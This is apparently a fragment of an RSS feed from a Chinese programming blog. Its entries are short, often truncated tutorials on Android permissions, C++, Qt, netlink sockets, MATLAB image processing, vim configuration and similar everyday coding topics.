      <description>Android动态申请权限（一次申请多个动态权限） Android 6.0也就是API等级23之后，获取权限需要动态申请，否则程序无法正常使用。&#xA;以录像功能为例，录像需要读写、相机和麦克风3个权限。下面是一次申请多个权限的代码，单个权限申请也是差不多的。另外，在用户禁止后弹出对话框引导用户跳转到设置界面去设置。&#xA;package com.barrage.barragetest; import android.Manifest; import android.content.DialogInterface; import android.content.Intent; import android.content.pm.PackageManager; import android.net.Uri; import android.os.Build; import android.os.Bundle; import android.provider.Settings; import android.support.annotation.NonNull; import android.support.v4.app.ActivityCompat; import android.support.v7.app.AlertDialog; import android.support.v7.app.AppCompatActivity; import android.widget.Toast; public class MainActivity extends AppCompatActivity { //录像需要的权限 private static final String[] VIDEO_PERMISSIONS = {Manifest.permission.CAMERA,Manifest.permission.RECORD_AUDIO,Manifest.permission.WRITE_EXTERNAL_STORAGE}; private static final int VIDEO_PERMISSIONS_CODE = 1; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); requestPermission(); } //申请权限 private void requestPermission() { // 当API大于 23 时，才动态申请权限 if (Build.</description>
    </item>
    <item>
      <title>153、有效三角形的个数</title>
      <link>https://bchobby.github.io/posts/2be8905a225e3c52c0544f3a34fa3136/</link>
      <pubDate>Mon, 08 Jul 2019 09:42:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2be8905a225e3c52c0544f3a34fa3136/</guid>
      <description>题目描述：&#xA;给定一个包含非负整数的数组，你的任务是统计其中可以组成三角形三条边的三元组个数。&#xA;示例 1:&#xA;输入: [2,2,3,4]&#xA;输出: 3&#xA;解释:&#xA;有效的组合是:&#xA;2,3,4 (使用第一个 2)&#xA;2,3,4 (使用第二个 2)&#xA;2,2,3&#xA;注意:&#xA;数组长度不超过1000。&#xA;数组里整数的范围为 [0, 1000]。&#xA;先排序然后用指针&#xA;class Solution { public int triangleNumber(int[] nums) { Arrays.sort(nums); int result = 0; for (int i = 0; i &amp;lt; nums.length - 2; i++) { for (int j = i + 1; j &amp;lt; nums.length - 1; j++) { for (int k = j + 1; k &amp;lt; nums.</description>
    </item>
    <item>
      <title>VS2017配置QT环境（一）</title>
      <link>https://bchobby.github.io/posts/88e22403eb05a61f695484e6966d1541/</link>
      <pubDate>Sun, 07 Jul 2019 11:38:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88e22403eb05a61f695484e6966d1541/</guid>
      <description> 最近用QT Creator老是莫名其妙的卡死，想想还是VS来编写QT程序稳定点。&#xA;1.打开vs2017，点击工具-扩展和更新 2.搜索框输入QT，在联机里搜索，选择QT Vsiual Studio Tools并安装（安装需要关闭VS，之后开始安装） 3.装好重新打开VS，菜单栏多出个QT VS Tools，点击QT Options 4.1点击Add，添加路径，选择QT目录里的MSVC，如图在QT的安装目录下找（根据自己电脑QT安装的位置） 4.2 很多人找不到QT安装路径，或者有个误区，VS能写QT前提是QT编程工具Qt Creator 和库已经安装好了，QT 有大几个G，不是VS装个小插件QT VS Tools就能省去装Qt 的，VS只是调用Qt Creator。 QT最新版下载，现在只能在线安装了，有点慢：&#xA;http://download.qt.io/official_releases/online_installers/&#xA;5.14.2还有离线安装包&#xA;http://download.qt.io/archive/qt/&#xA;忘了装哪了，右键QT Creator快捷方式属性，打开文件所在位置就能找到QT安装路径。 5.QT会自动识别版本 6.新建项目-&amp;gt;Vsiual C++ -&amp;gt; QT -&amp;gt; Qt Gui Application 7.导航菜单直接next，finish，这些配置后面可再更改。 8.一个VS下的QT工程就建好了，目录和QT Creator里基本一致，点击xx.ui能够弹出QTdesigner来设计界面 </description>
    </item>
    <item>
      <title>VS code_修改代码&amp;系统界面字体</title>
      <link>https://bchobby.github.io/posts/a10801cf8ddfbfbd972feee613084b48/</link>
      <pubDate>Sat, 06 Jul 2019 09:27:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a10801cf8ddfbfbd972feee613084b48/</guid>
      <description>下载安装好VS code后，要安装以下几个扩展&#xA;Ctrl + Shitf + p，输入 settings，选择 “首选项：打开设置（json）”&#xA;输入Font Size，进行查找&#xA;Editor: Font Size 用于修改代码的大小&#xA;Debug › Console: Font Size和Terminal › Integrated: Font Size&#xA;分别对应修改第二个图下方的调试控制台和终端中字体的大小</description>
    </item>
    <item>
      <title>简单使用栈实现队列</title>
      <link>https://bchobby.github.io/posts/7e20bc2ef1e6dd9c130f5d048eba86ec/</link>
      <pubDate>Fri, 05 Jul 2019 20:29:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e20bc2ef1e6dd9c130f5d048eba86ec/</guid>
      <description>#include &amp;lt;iostream&amp;gt; #include &amp;lt;stack&amp;gt; #include &amp;lt;cstdio&amp;gt; using namespace std; stack&amp;lt;int&amp;gt; stack1; stack&amp;lt;int&amp;gt; stack2; void appendTail(int ele) { stack1.push(ele); } int deleteHead() { int head; if(stack2.size()&amp;lt;=0) { while(stack1.size()&amp;gt;0) { int data = stack1.top(); stack1.pop(); stack2.push(data); } } if(stack2.size()==0)//这里不知道怎么处理，就返回了一个负一，抛异常不知道为什么不好使 return -1; head = stack2.top(); stack2.pop(); return head; } int main() { appendTail(1); appendTail(2); appendTail(3); int head=deleteHead(); cout&amp;lt;&amp;lt;head&amp;lt;&amp;lt;endl; head=deleteHead(); cout&amp;lt;&amp;lt;head&amp;lt;&amp;lt;endl; appendTail(4); head=deleteHead(); cout&amp;lt;&amp;lt;head&amp;lt;&amp;lt;endl; appendTail(5); head=deleteHead(); cout&amp;lt;&amp;lt;head&amp;lt;&amp;lt;endl; head=deleteHead(); cout&amp;lt;&amp;lt;head&amp;lt;&amp;lt;endl; return 0; } 转载于:https://www.cnblogs.com/xiaofeiwang/p/3825008.html</description>
    </item>
    <item>
      <title>C&#43;&#43; 获取时间</title>
      <link>https://bchobby.github.io/posts/3736887dad7f99e81d6e03533b3a84f1/</link>
      <pubDate>Fri, 05 Jul 2019 18:46:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3736887dad7f99e81d6e03533b3a84f1/</guid>
      <description>C++ 两种获取时间的方式 使用 #include &amp;lt;sys/time.h&amp;gt; 下面的 gettimeofday函数 // 获取微秒 long GetCurrentMicroseconds(){ timeval time; gettimeofday(&amp;amp;time,nullptr); return (time.tv_sec * 1000000 + time.tv_usec); } 如果需要毫秒,则 return (time.tv_sec * 1000 + time.tv_usec/1000)&#xA;使用 #include 下面的 chrono库&#xA;// 获取微秒 int64_t CurrentTimeMillis(){ auto now = chrono::system_clock::now(); return chrono::duration_cast&amp;lt;chrono::microseconds&amp;gt;(now.time_since_epoch()).count(); } 如果需要的是毫秒,则 return chrono::duration_cast&amp;lt;:milliseconds&amp;gt;(now.time_since_epoch()).count();&#xA;转载于:https://www.cnblogs.com/daihanlong/p/8663238.html</description>
    </item>
    <item>
      <title>netlink2</title>
      <link>https://bchobby.github.io/posts/5cb99d4bc257950b0c1e59671b07c526/</link>
      <pubDate>Fri, 05 Jul 2019 18:42:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5cb99d4bc257950b0c1e59671b07c526/</guid>
      <description>开发和维护内核是一件很繁杂的工作，因此，只有那些最重要或者与系统性能息息相关的代码才将其安排在内核中。其它程序，比如GUI，管理以及控制部分的代 码，一般都会作为用户态程序。在linux系统中，把系统的某个特性分割成在内核中和在用户空间中分别实现一部分的做法是很常见的(比如linux系统的 防火墙就分成了内核态的Netfilter和用户态的iptables)。然而，内核程序与用户态的程序又是怎样行通讯的呢？&#xA;答案就是通过各种各样的用户态和内核态的IPC(interprocess communication )机制来实现。比如系统调用，ioctl接口，proc文件系统以及netlink socket,本文就是要讨论netlink socekt并向读者展示这种用网络&#xA;通讯接口方式实现的IPC机制的优点。&#xA;介绍：&#xA;netlink socekt是一种用于在内核态和用户态进程之间进行数据传输的特殊的IPC。它通过为内核模块提&#xA;供一组特殊的API，并为用户程序提供了一组标准的socket 接口的方式，实现了一种全双工的通讯连接。类似于TCP/IP中使用AF_INET地址族一样，netlink socket使用地址族AF_NETLINK。每一个netlink&#xA;socket在内核头文件&#xA;include/linux/netlink.h 中定义自己的协议类型。&#xA;下面是netlink socket 目前的特性集合以及它支持的协议类型：&#xA;NETLINK_ROUTE 用户空间的路由守护程序之间的通讯通道，比如BGP,OSPF,RIP以及内核数据转发模块。用户态的路由守护程序通过此类型的协议来更新内核中的路由表。&#xA;NETLINK_FIREWALL:接收IPV4防火墙代码发送的数据包。&#xA;NETLINK_NFLOG:用户态的iptables管理工具和内核中的netfilter模块之间通讯的通道。&#xA;NETLINK_ARPD:用来从用户空间管理内核中的ARP表。 为什么以上的功能在实现用户程序和内核程序通讯时，都使用netlink方法而不是系统调用，ioctls&#xA;或者proc文件系统呢？原因在于：为新的特性添加一个新的系统调用,ioctls或者一个proc文件的做法并不是很容易的一件事情，因为我们要冒着污染内核代码并且可能破坏系统稳定性的风险去完成这件事情。&#xA;然而，netlink socket却是如此的简单，你只需要在文件netlink.h中添加一个常量来标识你的协议类型，然后，内核模块和用户程序就可以立刻使用socket风格的API进行通讯了！&#xA;Netlink提供了一种异步通讯方式，与其他socket API一样，它提供了一个socket队列来缓冲或者平滑&#xA;瞬时的消息高峰。发送netlink消息的系统调用在把消息加入到接收者的消息对列后，会触发接收者的接收处理函数。接收者在接收处理函数上下文中，可以 决定立即处理消息还是把消息放在队列中，在以后其它上下文去处理它(因为我们希望接收处理函数执行的尽可能快)。系统调用与netlink不同，它需要一 个同步的处理，因此，当我们使用一个系统调用来从用户态传递消息到内核时，如果处理这个消息的时间很长的话，内核调度的粒度就会受到影响。&#xA;内核中实现系统调用的代码都是在编译时静态链接到内核的，因此，在动态加载模块中去包含一个系统调用的做法是不合适的，那是大多数设备驱动的做法。 使用netlink socket时,动态加载模块中的netlink程序不会和linux内核中的netlink部分产生任何编译时依赖关系。&#xA;Netlink优于系统调用，ioctls和proc文件系统的另外一个特点就是它支持多点传送。一个进程可以把消息传输给一个netlink组地址，然 后任意多个进程都可以监听那个组地址(并且接收消息)。这种机制为内核到用户态的事件分发提供了一种近乎完美的解决方案。&#xA;系统调用和ioctl都属于单工方式的IPC，也就是说，这种IPC会话的发起者只能是用户态程序。但是，如果内核有一个紧急的消息想要通知给用户态程序 时，该怎么办呢？如果直接使用这些IPC的话，是没办法做到这点的。通常情况下，应用程序会周期性的轮询内核以获取状态的改变，然而，高频度的轮询势必会 增加系统的负载。Netlink 通过允许内核初始化会话的方式完美的解决了此问题，我们称之为netlink socket的双工特性。&#xA;最后，netlink socket提供了一组开发者熟悉的BSD风格的API函数，因此，相对于使用神秘的系统调用API或者ioctl而言，netlink开发培训的费用会更低些。&#xA;与BSD的Routing socket的关系&#xA;在BSD TCP/IP的协议栈实现中，有一种特殊的socket叫做Routing socket.它的地址族为AF_ROUTE, 协议族为PF_ROUTE, socket类型为SOCK_RAW. 这种Routing socket是用户态进程用来向内核中的路由表增加或者删除路由信息用的。在Linux系统中，netlink socket通过协议类型NETLINK_ROUTE实现了与Routing socket相同的功能，可以说，netlink socket提供了BSD Routing socket功能的超集。&#xA;Netlink Socket 的API&#xA;标准的socket API函数-&#xA;socket(), sendmsg(), recvmsg()和close() - 都能够被用户态程序直接调用来访问netlink socket.</description>
    </item>
    <item>
      <title>nfs使用mount -o传递用户名和密码参数需要修改的地方</title>
      <link>https://bchobby.github.io/posts/c8b52a057d6f369958306b9d90f12a7f/</link>
      <pubDate>Fri, 05 Jul 2019 18:42:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8b52a057d6f369958306b9d90f12a7f/</guid>
      <description>挂在的信息一般通过 nfs_parse_mount_option。可以直接打印。会有很多信息。&#xA;1.修改的地方在super.c该文件涉及到获取超级快等操作。&#xA;修改enum{}；在里面添加 Opt_username, Opt_passwd,&#xA;2.修改另一个枚举类型，添加：&#xA;Opt_username,&#34;username=%s&#34;&#xA;Opt_passed,&#34;passwd=%s&#34;,&#xA;转载于:https://www.cnblogs.com/xindufresne/p/3777266.html</description>
    </item>
    <item>
      <title>js创建函数的方式</title>
      <link>https://bchobby.github.io/posts/89861d0c6b60cb8d5ac4735f20ebd3d7/</link>
      <pubDate>Fri, 05 Jul 2019 18:35:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89861d0c6b60cb8d5ac4735f20ebd3d7/</guid>
      <description>一般一下这三种方式&#xA;第一种（函数声明）： function sum1(num1,num2){&#xA;return num1+num2;&#xA;}&#xA;没啥好说的&#xA;第二种（函数表达式）：&#xA;var sum2 = function(num1,num2){&#xA;return num1+num2;&#xA;}&#xA;没啥好说的&#xA;第三种（函数对象方式）：&#xA;var sum3 = new Function(&#34;num1&#34;,&#34;num2&#34;,&#34;return num1+num2&#34;);&#xA;前面是参数，最后是函数体，随便写&#xA;第四种&#xA;(function(args){})(args)&#xA;匿名函数的定义，主要是不污染全局变量&#xA;转载于:https://www.cnblogs.com/benchan2015/p/5057667.html</description>
    </item>
    <item>
      <title>Java 通配符泛型例子</title>
      <link>https://bchobby.github.io/posts/e193927bda09b955455a6bbc810b896d/</link>
      <pubDate>Fri, 05 Jul 2019 18:28:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e193927bda09b955455a6bbc810b896d/</guid>
      <description>请看下面的代码，其中会发生错误的代码已经注释掉，并且写明了错误类型&#xA;总体来说，泛型通配符就是为了支持多态时父子类，接口扩展类之间的相互转换而生&#xA;package test; import java.util.ArrayList; import java.util.List; public class GenericTester { public static void main(String[] args){ GenericTester genericTester=new GenericTester(); List&amp;lt;TestA&amp;gt; list=new ArrayList&amp;lt;GenericTester.TestA&amp;gt;(); GenericTester.TestA tester=genericTester.new TestA(); list.add(tester); TryGeneric1(list); TryGeneric2(list); // TryGeneric3(list); has compile error // TryGeneric4(list); has compile error } private interface ITest{ public void Test(); } private class TestA implements ITest{ @Override public void Test() { // TODO Auto-generated method stub System.out.println(&#34;TestA&#34;); } } private static void TryGeneric1(List&amp;lt;? extends ITest&amp;gt; testList){ for(ITest tester:testList){ tester.</description>
    </item>
    <item>
      <title>【Python】opencv显示图像</title>
      <link>https://bchobby.github.io/posts/14c3c47eb3f690fec92c15a8766ab5f0/</link>
      <pubDate>Fri, 05 Jul 2019 18:01:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14c3c47eb3f690fec92c15a8766ab5f0/</guid>
      <description>import cv2 img = cv2.imread(&#34;lena.jpg&#34;) cv2.namedWindow(&#34;Image&#34;) cv2.imshow(&#34;Image&#34;, img) cv2.waitKey(0) cv2.destroyAllWindows() 转载于:https://www.cnblogs.com/tiandsp/p/8504204.html</description>
    </item>
    <item>
      <title>Linux编程（获取系统时间）</title>
      <link>https://bchobby.github.io/posts/1c12bd6a5b53a1df12f4bb1573c55406/</link>
      <pubDate>Fri, 05 Jul 2019 18:01:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c12bd6a5b53a1df12f4bb1573c55406/</guid>
      <description>#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;time.h&amp;gt; int main() { time_t now; struct tm *w; time(&amp;amp;now); w=localtime(&amp;amp;now); printf(&#34;%04d/%02d/%02d\n%02d:%02d:%02d\n&#34;,w-&amp;gt;tm_year+1900, w-&amp;gt;tm_mon+1,w-&amp;gt;tm_mday,w-&amp;gt;tm_hour,w-&amp;gt;tm_min,w-&amp;gt;tm_sec); return 0; } 转载于:https://www.cnblogs.com/tiandsp/p/7467885.html</description>
    </item>
    <item>
      <title>【JavaScript学习笔记】hello world</title>
      <link>https://bchobby.github.io/posts/0436675160facbc9abae5099310cb1ba/</link>
      <pubDate>Fri, 05 Jul 2019 18:01:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0436675160facbc9abae5099310cb1ba/</guid>
      <description>&amp;lt;html&amp;gt; &amp;lt;body&amp;gt; &amp;lt;script language=&#34;JavaScript&#34;&amp;gt; alert(&#34;Hello world&#34;); &amp;lt;/script&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 转载于:https://www.cnblogs.com/tiandsp/p/7467804.html</description>
    </item>
    <item>
      <title>【C#学习笔记】List容器使用</title>
      <link>https://bchobby.github.io/posts/7f0693cc7ca46aba699aac42b5433139/</link>
      <pubDate>Fri, 05 Jul 2019 18:00:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f0693cc7ca46aba699aac42b5433139/</guid>
      <description>using System; using System.Collections.Generic; namespace ConsoleApplication { class Program { static void Main(string[] args) { List&amp;lt;int&amp;gt; a = new List&amp;lt;int&amp;gt;(); a.Add(10); //顺序增加 a.Add(34); a.Insert(2, 1); //第2个位置插入1 foreach (int i in a) Console.Write(i + &#34; &#34;); Console.WriteLine(); a.Sort(); //从小到大排序 for (int i = 0; i &amp;lt; a.Count;i++ ) Console.Write(a[i] + &#34; &#34;); a.Contains(10); //是否包含10 a.IndexOf(1); //返回元素1的下标 a.Remove(1); //删除1这个元素 a.RemoveAt(0); //删除位置在0的元素 a.Clear(); Console.Read(); } } } 转载于:https://www.cnblogs.com/tiandsp/p/7440410.html</description>
    </item>
    <item>
      <title>多媒体指令（内存拷贝加速）</title>
      <link>https://bchobby.github.io/posts/13090d481a24489c6fbe594bc4c93b04/</link>
      <pubDate>Fri, 05 Jul 2019 17:59:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/13090d481a24489c6fbe594bc4c93b04/</guid>
      <description>本来自己写了一个，不过性能竟然和memcpy一样，一点提升都没有，所以有就去网上找了一个性能好的。&#xA;下面的程序是对100MB数据进行内存拷贝.&#xA;我测试了一下。&#xA;直接调用memcpy时间为100ms左右，而asm中的程序能把时间能缩短到80ms左右。&#xA;性能提高的还是很明显的。&#xA;#include &amp;lt;iostream&amp;gt; #include &amp;lt;ctime&amp;gt; #define N 100*1024*256 using namespace std; int main(int argc, char* argv[]) { float *a; float *b; a=(float*)malloc(N*sizeof(float)); b=(float*)malloc(N*sizeof(float)); for (unsigned long i=0;i&amp;lt;N;++i) { a[i]=rand(); } unsigned long n=N*sizeof(float); void *tbuf; tbuf=(void*)malloc(2048); time_t start,end; start=clock(); // memcpy(b,a,N*sizeof(float)); __asm { mov esi, [a] mov ecx, n mov ebx, ecx shr ebx, 11 // 2048 bytes at a time mov edi, [b] loop2k: // Copy 2k into temporary buffer push edi mov edi, tbuf mov ecx, 2048 shr ecx, 6 loopMemToL1: prefetchnta 64[esi] // Prefetch next loop, non-temporal prefetchnta 96[esi] movq mm1, 0[esi] // Read in source data movq mm2, 8[esi] movq mm3, 16[esi] movq mm4, 24[esi] movq mm5, 32[esi] movq mm6, 40[esi] movq mm7, 48[esi] movq mm0, 56[esi] movq 0[edi], mm1 // Store into L1 movq 8[edi], mm2 movq 16[edi], mm3 movq 24[edi], mm4 movq 32[edi], mm5 movq 40[edi], mm6 movq 48[edi], mm7 movq 56[edi], mm0 add esi, 64 add edi, 64 dec ecx jnz loopMemToL1 pop edi // Now copy from L1 to system memory push esi mov esi, tbuf mov ecx, 2048 shr ecx, 6 loopL1ToMem: movq mm1, 0[esi] // Read in source data from L1 movq mm2, 8[esi] movq mm3, 16[esi] movq mm4, 24[esi] movq mm5, 32[esi] movq mm6, 40[esi] movq mm7, 48[esi] movq mm0, 56[esi] movntq 0[edi], mm1 // Non-temporal stores movntq 8[edi], mm2 movntq 16[edi], mm3 movntq 24[edi], mm4 movntq 32[edi], mm5 movntq 40[edi], mm6 movntq 48[edi], mm7 movntq 56[edi], mm0 add esi, 64 add edi, 64 dec ecx jnz loopL1ToMem pop esi // Do next 2k block dec ebx jnz loop2k emms; } end=clock(); cout&amp;lt;&amp;lt;end-start&amp;lt;&amp;lt;endl; for (unsigned long i=N-10;i&amp;lt;N;i++) { cout&amp;lt;&amp;lt;a[i]&amp;lt;&amp;lt;&#34;</description>
    </item>
    <item>
      <title>matlab练习程序（c/c&#43;&#43;调用matlab&lt;engine&gt;）</title>
      <link>https://bchobby.github.io/posts/03b6d2e26c279ac87cc4188554c44d7b/</link>
      <pubDate>Fri, 05 Jul 2019 17:59:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03b6d2e26c279ac87cc4188554c44d7b/</guid>
      <description>就我目前了解的c++调用matlab有两种方法。&#xA;第一种是通过matlab引擎调用，也就是这里用到的方法。&#xA;第二种是用matlab将m文件编译为相应的h/lib/dll文件再加以调用。&#xA;使用engine所用到的h和lib文件基本在D:\Program Files\MATLAB\R2010b\extern里面，当然不同的机器安装的地方都不一样。&#xA;头文件只需engine.h即可。lib文件需要这三个：libmx.lib/libmat.lib/libeng.lib。至于如何配置我就不介绍了，方法很多。&#xA;引擎相应的部分函数如下：&#xA;engOpen：启动Matlab引擎&#xA;engClose：关闭Matlab引擎&#xA;engGetArray：从Matlab引擎中获得一个Matlab矩阵，用于数据交换&#xA;engPutArray：从应用程序向Matlab引擎发送一个Matlab矩阵，用于数据交换&#xA;engEvalString：执行一个Matlab命令&#xA;engOutputBuffer：创建一个用于存储Matlab文本输出的字符缓冲区&#xA;相应例程：&#xA;#include &amp;lt;iostream&amp;gt; #include &amp;lt;math.h&amp;gt; #include &#34;engine.h&#34; using namespace std; void main() { Engine *ep; //定义Matlab引擎指针。 if (!(ep=engOpen(NULL))) //测试是否启动Matlab引擎成功。 { cout &amp;lt;&amp;lt;&#34;Can&#39;t start Matlab engine!&#34; &amp;lt;&amp;lt;endl; exit(1); } //下面是将c++格式数据转换为matlab格式可用数据 double data[4]={1.0,2.0,3.0,4.0}; mxArray *Y=mxCreateDoubleMatrix(1,4,mxREAL); memcpy(mxGetPr(Y),data,sizeof(data)); engPutVariable(ep,&#34;Y&#34;,Y); engEvalString(ep,&#34;plot(Y,&#39;o&#39;)&#34;); //显示数据 mxDestroyArray(Y); engEvalString(ep,&#34;figure&#34;); //开一个新的显示窗口 // //下面是从matlab格式数据转换为c++格式可用数据 // mxArray *filename=NULL; // const char *name=&#34;D:/Program Files/MATLAB/R2010b/bin/win32/lena.jpg&#34;; // filename=mxCreateString(name); // engPutVariable(ep,&#34;filename&#34;,filename); engEvalString(ep,&#34;X=imread(&#39;D:/Program Files/MATLAB/R2010b/bin/win32/lena.jpg&#39;);&#34;); //在engine中读取一张图片 engEvalString(ep,&#34;</description>
    </item>
    <item>
      <title>matlab练习程序（摄像头获取数据）</title>
      <link>https://bchobby.github.io/posts/c181fc8bdab12c5b1614721ecf49037a/</link>
      <pubDate>Fri, 05 Jul 2019 17:58:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c181fc8bdab12c5b1614721ecf49037a/</guid>
      <description>网上好多文章都好坑爹，配置麻烦死了，一点也不简洁，我这里给一个最简洁并且很好用的版本。&#xA;clear all; close all; clc; obj=videoinput(&#39;winvideo&#39;,1,&#39;YUY2_320x240&#39;); %一般的家用摄像头第三个参数这样就可以，不能运行直接去掉第三个参数也可以 h1=preview(obj); %预览视频，同时获取句柄 h2=figure(2); %新建显示图像figure,同时获取句柄 while ishandle(h1) &amp;amp;&amp;amp; ishandle(h2) %两个句柄有一个关闭就结束程序 frame=getsnapshot(obj); %捕获图像 frame=ycbcr2rgb(frame); %转成彩色,这个frame就可以按照自己意愿处理了 imshow(frame); %显示图像 drawnow; % 实时更新图像 end delete(obj); %删除对象 转载于:https://www.cnblogs.com/tiandsp/archive/2012/11/22/2782682.html</description>
    </item>
    <item>
      <title>vim一般设置</title>
      <link>https://bchobby.github.io/posts/19b8adba209b86d47f772910d4075407/</link>
      <pubDate>Fri, 05 Jul 2019 17:58:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19b8adba209b86d47f772910d4075407/</guid>
      <description>如果不知道配置文件及脚本的位置，可以在vim中使用命令 :scriptnames ，将显示如下路径 /etc/vimrc /usr/share/vim/vim72/syntax/syntax.vim /usr/share/vim/vim72/syntax/synload.vim /usr/share/vim/vim72/syntax/syncolor.vim /usr/share/vim/vim72/filetype.vim /usr/share/vim/vim72/ftplugin.vim /home/kdj/.vimrc ~$ cat .vimrc &#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#xA;&#34; 一般设定&#xA;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#xA;&#34; 设定默认解码&#xA;set fenc=utf-8&#xA;set fencs=utf-8,usc-bom,euc-jp,gb18030,gbk,gb2312,cp936&#xA;&#34; 不要使用vi的键盘模式，而是vim自己的&#xA;set nocompatible&#xA;&#34; history文件中需要记录的行数&#xA;set history=100&#xA;&#34; 在处理未保存或只读文件的时候，弹出确认&#xA;set confirm &#34; 侦测文件类型&#xA;filetype on&#xA;&#34; 载入文件类型插件&#xA;filetype plugin on&#xA;&#34; 为特定文件类型载入相关缩进文件&#xA;filetype indent on&#xA;&#34; 保存全局变量&#xA;set viminfo+=!&#xA;&#34; 语法高亮&#xA;syntax on&#xA;&#34; 状态行颜色&#xA;highlight StatusLine guifg=SlateBlue guibg=Yellow&#xA;highlight StatusLineNC guifg=Gray guibg=White &#34; 在状态行上显示光标所在位置的行号和列号</description>
    </item>
    <item>
      <title>matlab练习程序（白平衡&lt;动态阈值&gt;）</title>
      <link>https://bchobby.github.io/posts/4e17f9d9e21db89a1f4704033132cb4e/</link>
      <pubDate>Fri, 05 Jul 2019 17:57:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e17f9d9e21db89a1f4704033132cb4e/</guid>
      <description>clear all; close all; clc; im=imread(&#39;2.png&#39;); im2=im; im1=rgb2ycbcr(im);%将图片的RGB值转换成YCbCr值% Lu=im1(:,:,1); Cb=im1(:,:,2); Cr=im1(:,:,3); [x y z]=size(im); tst=zeros(x,y); %计算Cb、Cr的均值Mb、Mr% Mb=mean(mean(Cb)); Mr=mean(mean(Cr)); %计算Cb、Cr的均方差% Db=sum(sum(Cb-Mb))/(x*y); Dr=sum(sum(Cr-Mr))/(x*y); %根据阀值的要求提取出near-white区域的像素点% cnt=1; for i=1:x for j=1:y b1=Cb(i,j)-(Mb+Db*sign(Mb)); b2=Cr(i,j)-(1.5*Mr+Dr*sign(Mr)); if (b1&amp;lt;abs(1.5*Db) &amp;amp; b2&amp;lt;abs(1.5*Dr)) Ciny(cnt)=Lu(i,j); tst(i,j)=Lu(i,j); cnt=cnt+1; end end end cnt=cnt-1; iy=sort(Ciny,&#39;descend&#39;);%将提取出的像素点从亮度值大的点到小的点依次排列% nn=round(cnt/10); Ciny2(1:nn)=iy(1:nn);%提取出near-white区域中10%的亮度值较大的像素点做参考白点% %提取出参考白点的RGB三信道的值% mn=min(Ciny2); for i=1:x for j=1:y if tst(i,j)&amp;lt;mn tst(i,j)=0; else tst(i,j)=1; end end end R=im(:,:,1); G=im(:,:,2); B=im(:,:,3); R=double(R).*tst; G=double(G).*tst; B=double(B).*tst; %计算参考白点的RGB的均值% Rav=mean(mean(R)); Gav=mean(mean(G)); Bav=mean(mean(B)); Ymax=double(max(max(Lu)))/15;%计算出图片的亮度的最大值% %计算出RGB三信道的增益% Rgain=Ymax/Rav; Ggain=Ymax/Gav; Bgain=Ymax/Bav; %通过增益调整图片的RGB三信道% im(:,:,1)=im(:,:,1)*Rgain; im(:,:,2)=im(:,:,2)*Ggain; im(:,:,3)=im(:,:,3)*Bgain; %显示图片% figure,imshow(im2,[]),title(&#39;原图&#39;); figure,imshow(im,[]),title(&#39;白平衡后的效果图&#39;); 别人的程序。</description>
    </item>
    <item>
      <title>matlab练习程序（线性分类器&lt;伪逆法&gt;）</title>
      <link>https://bchobby.github.io/posts/3f3978f1f6003218f41a6633c28736e4/</link>
      <pubDate>Fri, 05 Jul 2019 17:57:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f3978f1f6003218f41a6633c28736e4/</guid>
      <description>clear all; close all; clc; num=7; X=[ 1 0.4 0.05; 1 -0.2 0.75; 1 0.5 0.1; 1 -0.1 0.7; 1 0.3 0.2; 1 -0.15 0.9; 1 0.5 0.2]; d=[1 -1 1 -1 1 -1 1]; %同一类的的数据正负号相同 for i=1:num plot(X(i,2),X(i,3),&#39;ro&#39;); hold on; end axis([-0.5 0.5 0 1]); Y=X&#39;*X; inv_Y=inv(Y); w=inv_Y*X&#39;*d&#39;; x=-0.5:0.1:0.5; y=(-w(1)-w(2)*x)/w(3); plot(x,y); 参考：&#xA;1.http://read.pudn.com/downloads102/ebook/420359/chapter%203/3.doc&#xA;转载于:https://www.cnblogs.com/tiandsp/archive/2012/05/04/2482936.html</description>
    </item>
    <item>
      <title>matlab练习程序（PCA&lt;SVD&gt;）</title>
      <link>https://bchobby.github.io/posts/4784ea37590d3fdd45c57a667cefc992/</link>
      <pubDate>Fri, 05 Jul 2019 17:57:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4784ea37590d3fdd45c57a667cefc992/</guid>
